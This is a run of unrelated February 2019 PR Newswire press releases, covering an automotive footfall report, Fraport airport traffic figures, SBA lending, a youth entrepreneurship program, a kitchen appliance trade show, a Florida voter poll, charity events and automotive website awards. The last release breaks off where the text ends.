The Path to Purchase: Automotive Footfall Report shows that in the fourth quarter of 2018 consumers started the research phase for purchasing a new car 6 months in advance and visited on average 5+ dealerships prior to making a purchase. Additionally, although the path to purchase covered a 6-month period, consumers only began to visit dealerships 30 days prior to buying a vehicle.

"This report provides actionable insights for our customers, who depend on Freckle and Killi for our robust measurement tools and premium first-party data," said Neil Sweeney, Founder and CEO, Freckle IoT and Killi. "The Path to Purchase report is an important way for the automotive market to obtain key quarterly insights into automotive purchase behavior including the discovery that price and reliability were the two factors having the most influence regarding purchase."

The data from this report helps automotive companies better understand the how, when, and where their marketing spend matters. Among the key findings:

Short term promotions only impact 1 in 5 automotive buyers to visit a dealership

Thursday and Friday were the most popular days for buyers to visit a dealership

Location, location, location. Over 65% of automotive buyers prefer to stay close to home when visiting a dealership.

The top preferences for Killi users in the market for buying a car: 77% prefer regular to hybrid vehicles and only 18% indicate that a promo would drive them into a dealership. The study includes data from over 8,000 surveys sent to Killi customers in a 30-day period with questions specific to automotive shopping preferences.

Dealer visitation data for both markets is the result of monitoring thousands of auto dealerships in the United States and Canada spanning all automotive manufacturers. Freckle leveraged its proprietary dwell logic and deduplication tools to remove employees, couriers, and unconfirmed visitors to provide an unbiased and reputable scoring of all visits.

To view the individual reports for each market:

U.S. Automotive Path to Purchase: Q4 2018

Canadian Automotive Path to Purchase: Q4 2018

About Freckle IoT

Freckle IoT is a global data company specializing in media measurement and identity. The Freckle offline media measurement solution determines the effectiveness of media across all channels in driving customers into a physical location. Because Freckle does not sell media, Fortune 500 brands trust the independent offline attribution analysis to evaluate media across all channels including mobile, desktop, social, radio, search, TV, and out-of-home. For more information, visit Freckleiot.com.

About Killi

Killi, developed by Freckle IoT, is the global consent management solution for privacy and compliance challenges facing consumers and companies. This consumer-facing application allows consumers to control their identity and sell it for cash to companies looking for compliant first-party data. With Killi, consumers can opt in and select specific pieces of personal information that they would like to share with brands in exchange for money. Killi is currently available in the U.S. and Canada with plans for a 12-country expansion in 2019. For more information, visit Killi.io.

Media Contact

Jenny Fahlbush

VP, Marketing

[email protected]

508-353-4500

SOURCE Freckle IoT

Related Links

www.freckleiot.com

FRANKFURT, Germany, Feb. 13, 2019 /PRNewswire/ -- FRA/rap  Frankfurt Airport (FRA) welcomed nearly 4.7 million passengers in January 2019, thus starting the year with 2.3 percent traffic growth. Without strike and weather-related flight cancellations, passenger traffic at FRA would have grown by about 4.3 percent.

Aircraft movements climbed by 2.3 percent to 37,676 takeoffs and landings in the reporting month. Maximum takeoff weights (MTOWs) rose by 1.5 percent to about 2.4 million metric tons. Only cargo (airfreight + airmail) posted a decline in January 2019, dropping by 4.3 percent to 163,332 metric tons. Decisive factors affecting cargo traffic included weaker global trade and the resulting dip in demand.

Most of the airports in Fraport's international portfolio also achieved growth in January 2019. Slovenia's Ljubljana Airport (LJU) served 103,653 passengers, a rise of 3.3 percent. The Brazilian airports of Fortaleza (FOR) and Porto Alegre (POA) registered combined traffic of almost 1.5 million passengers, up 10.5 percent year-on-year.

Total traffic for the 14 Greek regional airports reached 617,885 passengers, resulting in a 12.3 percent surge. The busiest airports included Thessaloniki (SKG) with 388,309 passengers, up 25.4 percent; Chania (CHQ) with 50,949 passengers, up 17.8 percent; and Rhodes (RHO) with 50,809 passengers, down 13.4 percent.

Lima Airport (LIM) in Peru, South America, saw traffic increase by 5.0 percent to around 1.9 million passengers. On the Bulgarian Black Sea coast, the Twin Star airports of Burgas (BOJ) and Varna (VAR) registered a total of 67,924 passengers, declining 6.8 percent. On the Turkish Rivera, Antalya Airport (AYT) received 877,161 passengers and recorded a 9.6 percent jump in traffic. Russia's St. Petersburg Airport (LED) advanced by 14.0 percent to some 1.2 million passengers. In China, Xi'an Airport (XIY) recorded a 13.9 percent gain to almost 3.8 million passengers.

Print-quality photos of Fraport AG and Frankfurt Airport are available for free downloading via the photo library on the Fraport Web site. For TV news and information broadcasting purposes only, we also offer free footage material for downloading. If you wish to meet a member of our Media Relations team when at Frankfurt Airport, please do not hesitate to contact us. Our contact details are available here.

For further information about Fraport AG please click here.

Fraport Traffic Figures















January 2019

























































Fraport Group Airports1

January 2019





Year to Date (YTD) 2019









Fraport Passengers Cargo* Movements Passengers Cargo Movements Fully-consolidated airports share (%) Month  % Month  % Month  % YTD  % YTD  % YTD  % FRA Frankfurt Germany 100.00 4,651,952 2.3 161,466 -3.1 37,676 2.3 4,651,952 2.3 161,466 -3.1 37,676 2.3 LJU Ljubljana Slovenia 100.00 103,653 3.3 976 -4.0 2,508 1.9 103,653 3.3 976 -4.0 2,508 1.9 Fraport Brasil 100.00 1,461,521 10.5 6,517 12.0 12,650 7.4 1,461,521 10.5 6,517 12.0 12,650 7.4 FOR Fortaleza Brazil 100.00 734,764 19.7 3,629 14.7 6,165 24.2 734,764 19.7 3,629 14.7 6,165 24.2 POA Porto Alegre Brazil 100.00 726,757 2.6 2,888 8.7 6,485 -4.8 726,757 2.6 2,888 8.7 6,485 -4.8 Fraport Regional Airports of Greece A+B 73.40 617,885 12.3 571 22.6 6,830 14.7 617,885 12.3 571 22.6 6,830 14.7 Fraport Regional Airports of Greece A 73.40 473,351 15.5 448 69.8 4,667 14.8 473,351 15.5 448 69.8 4,667 14.8 CFU Kerkyra (Corfu) Greece 73.40 20,573 4.9 15 > 100.0 329 -14.3 20,573 4.9 15 > 100.0 329 -14.3 CHQ Chania (Crete) Greece 73.40 50,949 17.8 27 8.9 499 62.0 50,949 17.8 27 8.9 499 62.0 EFL Kefalonia Greece 73.40 3,093 63.4 0 0.0 108 33.3 3,093 63.4 0 0.0 108 33.3 KVA Kavala Greece 73.40 7,667 -76.4 8 > 100.0 134 -64.9 7,667 -76.4 8 > 100.0 134 -64.9 PVK Aktion/Preveza Greece 73.40 270 -17.9 0 n.a. 58 -12.1 270 -17.9 0 n.a. 58 -12.1 SKG Thessaloniki Greece 73.40 388,309 25.4 397 68.1 3,441 26.3 388,309 25.4 397 68.1 3,441 26.3 ZTH Zakynthos Greece 73.40 2,490 -10.9 1 > 100.0 98 -16.9 2,490 -10.9 1 > 100.0 98 -16.9 Fraport Regional Airports of Greece B 73.40 144,534 2.9 123 -39.1 2,163 14.3 144,534 2.9 123 -39.1 2,163 14.3 JMK Mykonos Greece 73.40 6,552 > 100.0 3 > 100.0 145 85.9 6,552 > 100.0 3 > 100.0 145 85.9 JSI Skiathos Greece 73.40 839 -3.9 0 n.a. 40 -4.8 839 -3.9 0 n.a. 40 -4.8 JTR Santorini (Thira) Greece 73.40 33,929 11.6 10 -2.7 354 17.2 33,929 11.6 10 -2.7 354 17.2 KGS Kos Greece 73.40 17,833 2.7 19 9.5 354 11.0 17,833 2.7 19 9.5 354 11.0 MJT Mytilene (Lesvos) Greece 73.40 23,466 16.1 29 -16.2 476 46.0 23,466 16.1 29 -16.2 476 46.0 RHO Rhodes Greece 73.40 50,809 -13.4 45 -62.1 516 -12.5 50,809 -13.4 45 -62.1 516 -12.5 SMI Samos Greece 73.40 11,106 11.9 17 -15.2 278 17.8 11,106 11.9 17 -15.2 278 17.8 LIM Lima Peru 70.01 1,921,165 5.0 23,857 -4.2 15,726 -4.7 1,921,165 5.0 23,857 -4.2 15,726 -4.7 Fraport Twin Star 60.00 67,924 -6.8 491 -43.0 680 -15.1 67,924 -6.8 491 -43.0 680 -15.1 BOJ Burgas Bulgaria 60.00 11,057 -15.2 484 -43.5 167 -14.4 11,057 -15.2 484 -43.5 167 -14.4 VAR Varna Bulgaria 60.00 56,867 -5.0 7 46.4 513 -15.3 56,867 -5.0 7 46.4 513 -15.3





























At equity consolidated airports

























AYT Antalya Turkey 51.00 877,161 9.6 n.a. n.a. 6,526 20.0 877,161 9.6 n.a. n.a. 6,526 20.0 LED St. Petersburg Russia 25.00 1,230,150 14.0 n.a. n.a. 12,410 9.6 1,230,150 14.0 n.a. n.a. 12,410 9.6 XIY Xi'an China 24.50 3,767,649 13.9 29,258 14.5 28,343 10.9 3,767,649 13.9 29,258 14.5 28,343 10.9

Frankfurt Airport2











January 2019 Month  % YTD 2019  % Passengers 4,652,187 2.3 4,652,187 2.3 Cargo (freight & mail) 163,332 -4.3 163,332 -4.3 Aircraft movements 37,676 2.3 37,676 2.3 MTOW (in metric tons)3 2,372,825 1.5 2,372,825 1.5 PAX/PAX-flight4 132.5 0.0 132.5 0.0 Seat load factor (%) 72.4

72.4

Punctuality rate (%) 75.6

75.6











Frankfurt Airport PAX share  %5 PAX share  %5 Regional Split Month YTD Continental 59.7 2.0 59.7 2.0 Germany 10.7 -0.2 10.7 -0.2 Europe (excl. GER) 49.0 2.5 49.0 2.5 Western Europe 40.3 1.7 40.3 1.7 Eastern Europe 8.7 6.1 8.7 6.1 Intercontinental 40.3 2.7 40.3 2.7 Africa 5.2 8.6 5.2 8.6 Middle East 6.1 -3.2 6.1 -3.2 North America 11.6 0.6 11.6 0.6 Central & South Amer. 4.9 5.6 4.9 5.6 Far East 12.5 4.2 12.5 4.2 Australia 0.0 n.a. 0.0 n.a.

Definitions: 1 According to ACI definition: Passengers: commercial traffic only (arr+dep+transit counted once), Cargo: commercial and non-commercial traffic (arr+dep excluding transit, in metric tons), Movements: commercial and non-commercial traffic (arr+dep), preliminary figures; 2 Commercial and non-commercial traffic: Passengers (arr+dep+transit counted once, incl. general aviation), Cargo (arr+dep+transit counted once, in metric tons), Movements (arr+dep); 3 Inbound traffic only; 4 Scheduled and charter traffic; 5 absolute change vs. previous year in % ; *Cargo = Freight + mail

Fraport AG

Robert Payne Telephone: +49 69 690 78547 Corporate Communications E-mail: [email protected] Media Relations Internet: www.fraport.com 60547 Frankfurt, Germany Facebook: www.facebook.com/FrankfurtAirport

SOURCE Fraport AG

Related Links

http://www.fraport.com

ORLANDO, Fla., Feb. 13, 2019 /PRNewswire/ -- Fountainhead Commercial Capital today announced the non-bank finance company will begin offering U.S. Small Business Administration (SBA) 7(a) Program loans to small businesses throughout the United States. Fountainhead's acquisition of a Small Business Lending Company (SBLC) 7(a) Loan Program license from American Business Lending, Inc. recently received final approval from SBA. Only fourteen of these licenses were created by SBA beginning in the mid-1970s, and Fountainhead holds one of the few in the Southeast.

Best known for leadership in the SBA 504 Loan Program, Fountainhead will now expand its mandate and offer loans to small business owners for working capital, business acquisitions, partner buyouts, equipment, furniture and fixtures, startup capital, and debt refinancing, among other business purposes.

"After years of championing the SBA 504 loan program, we are pleased to expand our financing influence by acquiring an SBLC license for the 7(a) Loan Program," said Chris Hurn, CEO of Fountainhead. "We view this acquisition as a natural evolution for our company and will offer tremendous benefits for the entrepreneurs and 'Main Street' businesses that we serve."

With the acquisition of this license through its affiliate Fountainhead SBF, LLC, the company will offer SBA 7(a) loans from $200,000 to $5 million nationwide. An SBA 7(a) loan is a general-purpose loan backed by SBA for up to 85% of the loan's value. The SBA does not lend directly to small businesses as banks and other commercial lenders provide funding for these loans, while SBA guarantees a portion of the loan. SBA 7(a) loan terms are typically longer than conventional bank financing, require less equity injections (down payments), and are more flexible with fewer loan covenants. The 7(a) Program is widely regarded as the SBA's flagship lending program and funded more than $25 billion of loans during the last fiscal year.

Fountainhead Commercial Capital, a nationwide, nonbank, direct lender specializing in the SBA 504 Loan Program, SBA 7(a) loans, and low loan-to-value conventional loans, was founded by some of the most experienced and awarded SBA lenders around. The company's FastTrack program enables banks, credit unions and other intermediaries to fully outsource SBA 504, conventional loans for owner-occupied commercial real estate, and now 7(a) loans. The company's AI-enabled software program, Pronto, is an online loan automation and evaluation tool, which issues loan approvals in less than two hours. More information is available at www.Fountainhead504.com or Fountainhead7a.com or by calling 800-770-1504.

Contact:

John P. David

O: 305-255-0035 | M: 305-724-3903

[email protected]

SOURCE Fountainhead Commercial CapitalLOS ANGELES, Feb. 13, 2019 /PRNewswire/ -- Forbix is a company built by entrepreneurs. The California based real estate advisory firm that prides itself on its innovative lending style and desire to partner with its clients for the long term is used to taking the unconventional route. It was no surprise that when they wanted to give back to their community, young entrepreneurs were at the top of their list. CEO Emil Khodorkovsky knew he wanted to reach young adults that had great business ideas but not a lot of opportunity to share them. After some discussion, it was decided that Forbix would like to reach young entrepreneurs between the ages of 14-17. That special age where teenagers are full of creative ideas but not quite old enough to enter the workforce.

The winners with Forbix volunteers

The idea was simple. What motivates adults and young adults? Money. Forbix wanted a vehicle that would allow young adults to showcase their entrepreneurial ideas and be rewarded like true entrepreneurs. Forbix decided to pledge to invest up to $5,000 in the winners' business ideas. Any profits made from the venture would be split 50/50 between the young entrepreneurs and Forbix. The young entrepreneurs would keep their money and Forbix would roll their profits back into the program. The vision was that the students would succeed and that this program would become a self-perpetual mechanism where young people's amazing ideas would continue to regenerate and grow the program organically.

They'd settled on the demographic, focused in on age group and a program strategy, but how would they be able to connect with the students? Forbix decided to start with an organization that's been helping children for over a hundred yearsthe local Boys and Girls Club. Forbix approached the Boys and Girls Club of the West Valley and told them about their strong desire to start a program that fostered the development of young entrepreneurs. Luckily, the Boys and Girls Club had just the right partner in mind--the Network For Teaching Entrepreneurship or NFTE.

NFTE is in the business of teaching and training young students the tenets of innovation and self-reliance through entrepreneurship. Forbix's investment helped bring NFTE's training program to the Boys and Girls Club of the West Valley. Over a period of several months, a group of fifteen students learned all about the entrepreneurial mindset and how to develop their ideas. The program culminated with the creation and presentation of a business plan that would be evaluated by a panel of judges from Forbix.

Some of the Forbix staff helped the students polish their presentations the day before the big pitch. The students worked on the formal presentation of their business plans as well as their "elevator pitch." When the day of the contest arrived, the young adults from the Boys and Girls Club were ready. A panel of five Forbix staff members sat in wonder as these young entrepreneurs articulated their business ideas like seasoned pros. In the end, three cash prizes were awarded to the best presentations.

What started with Forbix's desire to give back to their community, developed into a successful program for young entrepreneurs. Forbix has found a long-term partner in The Boys and Girls Club and NFTE. Together, they've developed a program that will be built and grown by the energy and ideas of the next generation of entrepreneurs.

Press Contact: Anna Grigoryeva

818-935-5218

[email protected]

Forbix.com

SOURCE Forbix

Related Links

http://www.forbix.com

This will be the first exhibition at which Fisher & Paykel has displayed its distinctive design styles  Contemporary, Classic, Professional, and Outdoor  as cohesive installations. The booth will also feature The Social Kitchen, an interactive area that will take attendees on a uniquely New Zealand-inspired design and food experience led by Fisher & Paykel team members.

"We believe in offering ultimate kitchen solutions with products that fit seamlessly into modern life. For the show, we've developed vignettes that showcase our comprehensive and versatile suite of appliances that are beautiful to use and offer exceptional performance," says Kevin Dexter, Fisher & Paykel President of North America. "This includes our revolutionary DishDrawer dishwasher and CoolDrawer multi-temperature drawer, Classic and Professional Ranges, Built-in Ovens (convection, steam and microwave), Integrated Column Refrigerators and Freezers, the DCS Series 9 Grill and a host of Companion products."

For The Social Kitchen experience Fisher & Paykel will treat attendees to four signature tastings highlighting the diverse flora and fauna of New Zealand: Kawakawa tea served from a unique stone induction unit, toasted Manuka honey marshmallows, a Noble Riesling sherbet, and a gold kiwifruit syrup served over shaved ice. These taste sensations will be accompanied with stories that embody Fisher & Paykel's The Social Kitchen philosophy, in which the heart of the home is where food, friends and family come together.

"The event will be a chance for visitors to experience first-hand our respect for food and obsession with product details," adds General Manager Design, Mark Elmore, whose tenure with the brand spans more than 30 years. "It's also an opportunity to hear from Fisher & Paykel's product developers about how our land and culture influence design simplicity, performance and quality."

Members of the executive and design teams including Elmore, Dexter and CEO Stuart Broadhurst will be on hand to discuss the Fisher & Paykel product portfolio and design-led brand ethos in more detail. "We look forward to welcoming KBIS and IBS attendees into our world, to interact with our appliances as they would in their own home," concludes Dexter.

For more information please contact:

Dara Reiter

Marketing and Communications Director, Fisher & Paykel

[email protected]

+1 800-433-8466 EXT 3327

PR and media contact:

Angela Hoggan

Novita Communications [email protected]

+1 404-989-5374



About Fisher & Paykel Appliances

Fisher & Paykel, New Zealand's award winning appliance brand, has been selling products to change the way people live since 1934. Over time the company has grown into a global organisation, now operating in 30 countries with over 3,000 employees and manufacturing in Italy, Thailand and Mexico.

Fisher & Paykel's design heritage is founded on a pioneering spirit and a culture of curiosity that has challenged conventional appliance design to consistently deliver products tailored to human needs. The company is committed to ongoing research and development with a culture of open innovation, which allows people to work collaboratively to find insights and ideas that connect with customers and respect the planet.

Fisher & Paykel believes everybody deserves good design, because good design is all about making life better. It has built its success on understanding their consumers and designing innovative products such as the award-winning DishDrawer Dishwasher  the world's first dishwasher in a drawer and the class-leading CoolDrawer multi-temperature drawer.

A part of the wider Haier Group since 2012, Fisher & Paykel has strengthened its presence as a premium home appliance brand. Fisher & Paykel's New Zealand Design Centres, based at two locations in Auckland and Dunedin, have been recognised as one of the wider Haier Group's five global research and development centres of excellence.

www.fisherpaykel.com





SOURCE Fisher & Paykel

Related Links

www.fisherpaykel.com

BOCA RATON, Fla., Feb. 13, 2019 /PRNewswire/ -- Newly elected Florida Gov. Ron DeSantis is enjoying widespread popularity from Florida voters who support his proposals to reduce the impacts of harmful algae blooms and eliminate Common Core standards, according to the statewide survey by the Florida Atlantic University Business and Economics Polling Initiative (FAU BEPI).

The newly sworn-in governor's approval rating stands at 48 percent, while his disapproval is only at 18 percent, with 34 percent unsure. His plan to establish a task force to reduce the impacts of harmful algae blooms won support from 59 percent of respondents, while 10 percent oppose, and 31 percent are undecided. A majority of voters (52 percent) support eliminating the Common Core standards from exams in Florida, while 21 percent oppose their elimination and 27 percent are undecided.

Meanwhile, U.S. President Donald Trump and Speaker of the House Nancy Pelosi have something in common in Florida  their approval ratings are underwater. While 41 percent of voters approve of the job Trump is doing as president, 46 percent disapprove, and 13 percent are unsure. Pelosi scored 40 percent approval and 44 percent disapproval, with 16 percent unsure of the job she is doing as speaker.

A majority (55 percent) support the construction of an additional border wall along the border between the United States and Mexico, while 37 percent oppose, and 9 percent are undecided. With debate over this issue raging in Washington, D.C., 51 percent of Florida voters said they support Congressional funding for a border wall in exchange for avoiding another partial government shutdown, while 36 percent oppose and 13 percent are undecided.

Nearly one year after a mass shooting took the lives of 17 students and teachers at a South Florida high school, 45 percent of Floridians said they are extremely concerned about the physical safety of students at schools, while 41 percent said they are somewhat concerned, and 14 percent said they are not at all concerned.

Nearly two-thirds of Floridians (65 percent) said they think gun control laws should be made stricter, while a majority (51 percent) oppose giving teachers authority to carry firearms on school property.

The survey, conducted Feb. 7-9, polled 500 Florida registered voters and has a margin of error of +/- 4.3 percentage points.

SOURCE Florida Atlantic University Business and Economics Polling Initiative

Related Links

https://business.fau.edu

NEW YORK, Feb. 13, 2019 /PRNewswire/ -- After seven consecutive years, The DREAM Project's Suenos Benefit is now among the most eagerly awaited events of the New York City social calendar. Celebrities, educators and New York's most prominent philanthropists gather every year to help DREAM expand their educational programs, impact more disadvantage communities and close the cycle of poverty in the Dominican Republic.

Suenos 2019 is set to take place on Thursday, February 28, 2019 from 6:30 pm to 10:00 pm at The Mezzanine, located at 55 Broadway in Manhattan. This year's program will bring attendees through an experiential voyage of the Dominican Republic rich culture all under one empowering night full of exquisite food, music and more.

Suenos 2019 red carpet kicks off the night at 6:30 pm with celebrity guest appearances by Dascha Polanco from Orange is the New Black, Latin producer and co-founder of bachata group Aventura Lenny Santos, and actor/writer Taye Diggs. Immediately followed by a VIP tasting featuring an exclusive Dominican culinary demonstration by Chef Kelvin, winner of Beat Bobby Flay. Tickets to this exclusive tasting are limited to 80 VIP guests, who will enjoy the exquisite culinary flavors of the Dominican Republic paired with signature cocktails by Brugal 1888.

Suenos 2019 main event and awards begin at 7:30 pm with an open bar and passed Hors d'oeuvre for everyone. The soiree will feature a presentation of the DREAM Educator of the Year and DREAMer of the Year awards, followed by headline performances by the DREAM Bachata Academy Band. Formed by a group of DREAM Dominican students traveling from the Dominican Republic, the band will share the stage with the legendary Doug Wimbish from Living Colors and the stars from Broadway's School of Rock, Brandon Niederauer and Raghav Mehrotra. Bachata, jazz and the sounds of rock are for sure a one-in-a-lifetime show not to be missed.

As usual, 100% proceeds from the event will go directly towards DREAM's programs, impacting more than 9,000 Dominican youth in 27 different communities.

This year's sponsors, helping DREAM create change and end the cycle of poverty in the Dominican Republic, include: JetBlue , Fast Enterprises , Brugal , Phoenix Tower International , Dominican Republic Tourism , The Latino Network Coalition , Beachwold Residential , and Univision .

To be part of this stellar night and help us make a difference, please visit www.dominicandream.org or purchase tickets at https://www.eventbrite.com/e/suenos-2019-tickets-54366459544?aff=ebdssbdestsearch.

WHO WE ARE

DREAM was founded in 2002 by a group of visionary volunteers and donors who, after visiting a public school in Cabarete with no running water or electricity, were compelled to improve Latin America's poorest performing education system. They established both a US and Dominican non-profit organization to create change. From acclaimed author Julia Alvarez and Pulitzer Prize winner Junot Diaz, to the first Dominican-born member of Congress, Adriano Espaillat, DREAM's board has consisted of artists, athletes, educators, and philanthropists leading the charge to educate all Dominican youth. We build and run schools together with communities; we establish quality educational programs; and we stay and work with the communities until they are willing and able to do it on their own. This is what sets DREAM apart from other organizations. Our DREAM is that all children and youth in the Dominican Republic will have equal opportunities to learn and realize their full potential through transformative education programs that combat the effects of poverty. DREAM serves more than 9,000 youth throughout 27 DREAM communities across the Dominican Republic. To learn more or to get involved, visit www.dominicandream.org/ .

SOURCE The DREAM Project

Related Links

http://www.dominicandream.org

ROCKVILLE, Md., Feb. 13, 2019 /PRNewswire/ -- The American Kidney Fund is marking the 30th year of its Clinical Scientist in Nephrology Program in 2019 with the announcement of two research fellowships awarded to Olivia Alison Potok, M.D., a research fellow in nephrology at of the University of California, San Diego (UCSD) and Pablo Garcia, M.D., a research fellow in nephrology at Stanford University.

Dr. Potok and Dr. Garcia join a distinguished roster of top nephrology researchers who have received early-career support from AKF through the Clinical Scientist Nephrology Program. Since 1989, this program has funded researchers whose work is designed to improve diagnosis, treatment and outcomes for patients living with chronic kidney disease (CKD). Both fellowships will begin July 1.

"The research that Dr. Potok and Dr. Garcia will conduct promises to produce important insights with practical applications in the clinical setting," said LaVarne A. Burton, AKF president and CEO. "Over the past 30 years, the American Kidney Fund has granted research fellowships to 43 brilliant young nephrologists with one overarching goal: improving the care and treatment of patients with kidney disease. These nephrologists have, in turn, gone on to become leaders in the field and mentors to new generations of scientists studying kidney disease."

Dr. Potok's 2019-2020 American Kidney Fund Clinical Scientist in Nephrology Fellowship is funded with support from Akebia Therapeutics, Inc. Her research will focus on better understanding how two common markers used to estimate kidney function relate to aging and body composition. Estimated glomerular filtration rate (eGFR), the most common test for kidney function, can be calculated using different markers in a patient's blood. Dr. Potok will study how discrepancies in these markers correlate with muscle mass and frailty in older patients.

"Akebia is a biopharmaceutical company focused on the development and commercialization of therapeutics for patients with kidney disease. We are proud to support the AKF Clinical Scientist in Nephrology Programa program that for 30 years has encouraged the most talented and driven young nephrologists to dedicate their careers to clinical research," said John Butler, president and CEO of Akebia Therapeutics, Inc. "With over 30 million people in the U.S. living with kidney disease today, we need to do all we can to advance research, and the CSN program is one of the most effective tools for doing so."

Dr. Garcia's research seeks to better understand the causes and prognosis of primary tubulointerstitial kidney disease, a disorder in which the spaces between the kidney tubules become inflamed for unclear reasons. This inflammation frequently results in permanent scarring and kidney damage. Infections, drugs and environmental toxins can cause tubulointerstitial kidney disease and this type of kidney disease tends to affect young otherwise healthy people in Latin America. Dr. Garcia plans to survey people in high-risk areas and study kidney biopsies from affected people as part of his research.

Dr. Potok began her fellowship with the UCSD Division of Nephrology-Hypertension in July 2016. She completed her medical school training in France at Universite Paris V Rene Descartes and a family medicine residency at Faculte de Medecine de Strasbourg. After moving to the United States, she completed her internal medicine residency at the University of Pennsylvania Health System in Philadelphia.

Dr. Garcia is a first-year nephrology fellow at Stanford University School of Medicine Division of Nephrology. He received his medical degree from the Universidad de San Carlos de Guatemala and spent two years doing clinical research on CKD of unknown origin in Guatemala. He underwent clinical training in internal medicine at Rutgers/Saint Peter's University Hospital in New Jersey before joining Stanford's fellowship program.

The CSN program strives to improve the quality of care provided to kidney patients and promotes clinical research in nephrology. It enhances the training of nephrologists who want to pursue an academic career and whose primary professional commitment is to scholarship in the provision of patient care.

About the American Kidney Fund

As the nation's leading independent nonprofit working on behalf of the 30 million Americans with kidney disease, the American Kidney Fund is dedicated to ensuring that every kidney patient has access to health care, and that every person at risk for kidney disease is empowered to prevent it. AKF provides a complete spectrum of programs and services: prevention outreach, top-rated health educational resources, and direct financial assistance enabling 1 in 5 U.S. dialysis patients to access lifesaving medical care, including dialysis and transplantation. AKF holds the highest ratings from the nation's charity watchdog groups, including Charity Navigator, which includes AKF on its "top 10" list of nonprofits with the longest track records of outstanding stewardship of the donated dollar, and GuideStar, which has awarded AKF its Platinum Seal of Transparency.

For more information, please visit KidneyFund.org, or connect with us on Facebook, Twitter and Instagram.

SOURCE American Kidney Fund

Related Links

http://www.kidneyfund.org

BURLINGTON, Vt., Feb. 13, 2019 /PRNewswire/ -- Dealer.com, a Cox Automotive brand, won five Automotive Website Awards from the PCG Consulting Group, as it continues to provide dealers with digital innovations that create a more engaging, personalized, and streamlined shopping and buying experience. With the 2019 Automotive Website Awards, PCG honored some of the most innovative companies in automotive digital marketing.

"Today's car-buying environment is evolving rapidly, and consumers are looking for dealers to offer digital solutions that streamline the shopping and buying process," said Mike Rother, senior vice president and general manager for Dealer.com. "We're extremely proud to be the recipient of five AWA awards this year. Dealer.com is focused on innovation that connects the online and in-store experience while driving results for our dealer partners."

Dealer.com solutions received the following awards:

U.S. WEBSITES: Dealer.com Website Platform

Dealer.com websites deliver a modern, interactive, and personalized digital storefront for automotive shoppers through state-of-the-art design, immersive inventory pages and all-new site architecture that ensures speed, security and flexibility.

Dealer.com websites deliver a modern, interactive, and personalized digital storefront for automotive shoppers through state-of-the-art design, immersive inventory pages and all-new site architecture that ensures speed, security and flexibility. DIGITAL MARKETING : Dealer.com Experience Optimization

Dealer.com's Experience Optimization technology creates data-driven personalization across a dealer's website in real-time and gets shoppers in front of the vehicles and specials that matter most to them. Delivered through automation and based on previous shopper data from Dealer.com, Autotrader, and Kelley Blue Book , Experience Optimization delivers the modern eCommerce experiences that consumers have come to expect and is proven to increase VDP engagement and leads submissions. Visitors who were served personalized recommendations were 2.5 times more likely to click to the vehicle details page, and 12% more likely to submit a lead 1 .

: Dealer.com's Experience Optimization technology creates data-driven personalization across a dealer's website in real-time and gets shoppers in front of the vehicles and specials that matter most to them. Delivered through automation and based on previous shopper data from Dealer.com, Autotrader, and , Experience Optimization delivers the modern eCommerce experiences that consumers have come to expect and is proven to increase VDP engagement and leads submissions. Visitors who were served personalized recommendations were 2.5 times more likely to click to the vehicle details page, and 12% more likely to submit a lead . WEBSITE MERCHANDISING: Dealer.com Managed Content & Creative

Dealer.com's Managed Services offer dealers cutting-edge strategy and execution to bring dealers the SEO, content and creative, and social media services needed to differentiate their dealership, drive more sales and book more service appointments. Dealer.com's content and creative team combines agency-grade creative with strategic auto industry insight to deliver custom campaigns that increase engagement across a variety of dealer marketing channels.

Dealer.com's Managed Services offer dealers cutting-edge strategy and execution to bring dealers the SEO, content and creative, and social media services needed to differentiate their dealership, drive more sales and book more service appointments. Dealer.com's content and creative team combines agency-grade creative with strategic auto industry insight to deliver custom campaigns that increase engagement across a variety of dealer marketing channels. DIGITAL RETAILING : Dealer.com Accelerate Digital Retailing

Digital Retailing, powered by Cox Automotive, creates a faster, smoother, and more transparent path to purchase right from the inventory pages on a dealer's website. The technology allows clients to work deals online just as they would in-store and has been shown to double close rates and increase protability.

: Digital Retailing, powered by Cox Automotive, creates a faster, smoother, and more transparent path to purchase right from the inventory pages on a dealer's website. The technology allows clients to work deals online just as they would in-store and has been shown to double close rates and increase protability. BUSINESS INTELLIGENCE TOOLS: Dealer.com Compass Strategy Solution

Dealer.com's Compass Strategy solution empowers dealerships with a comprehensive multi-channel digital advertising strategy tool fueled by a dealer's goals and market data. It provides dealer partners with data-driven recommendations that form a complete advertising portfolio, equipped with search, display, video and social media options. These suggestions help dealers determine where to spend money across various advertising channels based on business goals.

The City Club of San Francisco hosted the AWA Awards reception on Jan 24, 2019, where Pasch Consulting Group honored the best website and technology products and vendors for car dealers. For more information, and a full list of all AWA Award winners, visit http://awa.autos/.

About Dealer.com

Dealer.com is the premier digital marketing solution and partner for the automotive industry. Providing an integrated platform of Websites, Advertising, Digital Retailing and Managed Services, Dealer.com allows OEMs, dealer groups, retailers and agencies to leverage advanced digital technology and data to better engage, connect and transact with their customers. The company practices a deep commitment to its culture of innovation, with a focus on health and wellness. Based in Burlington, Vermont, Dealer.com is a Cox Automotive brand. For more information, visit www.dealer.com.

About Cox Automotive

Cox Automotive Inc. makes buying, selling, owning and using cars easier for everyone. The global company's 34,000-plus team members and family of brands, including Autotrader, Clutch Technologies, Dealer.com, Dealertrack, Kelley Blue Book, Manheim, NextGear Capital, VinSolutions, vAuto and Xtime, are passionate about helping millions of car shoppers, 40,000 auto dealer clients across five continents and many others throughout the automotive industry thrive for generations to come. Cox Automotive is a subsidiary of Cox Enterprises Inc., a privately-owned, Atlanta-based company with revenues exceeding $20 billion. www.coxautoinc.com

1 Dealer.com 2017 A/B Shopper Engagement Study

SOURCE Dealer.com

Related Links

http://www.dealer.com

CHICAGO, Feb. 13, 2019 /PRNewswire/ -- Chicago Auto Show organizers, in partnership with A Girls Guide to Cars and Women in Automotive, held the third annual What Drives Her Luncheon and networking event during the show's Media Preview on Friday, Feb. 8 at McCormick Place. Influential women were invited to come together for a robust lineup of presentations and panel discussions surrounding the pertinent impact that females have on the automotive industry. This year's theme focused on the major shifts taking place in the automotive industry, including the ways that women are shaping its evolution.

"We're thrilled to be hosting our third annual What Drives Her Luncheon today to celebrate women in the auto industry," said Kelly Webb Roberts, board member of the Chicago Automobile Trade Association, producer of the Chicago Auto Show. "The content shared through this event is extremely important, especially the discussions surrounding work/life balance because I think that's hard for a lot of us out there."

The 2019 What Drives Her event featured a robust lineup of female speakers who discussed the integral role women play within the auto industry as contributors, consumers and drivers of purchasing decisions.

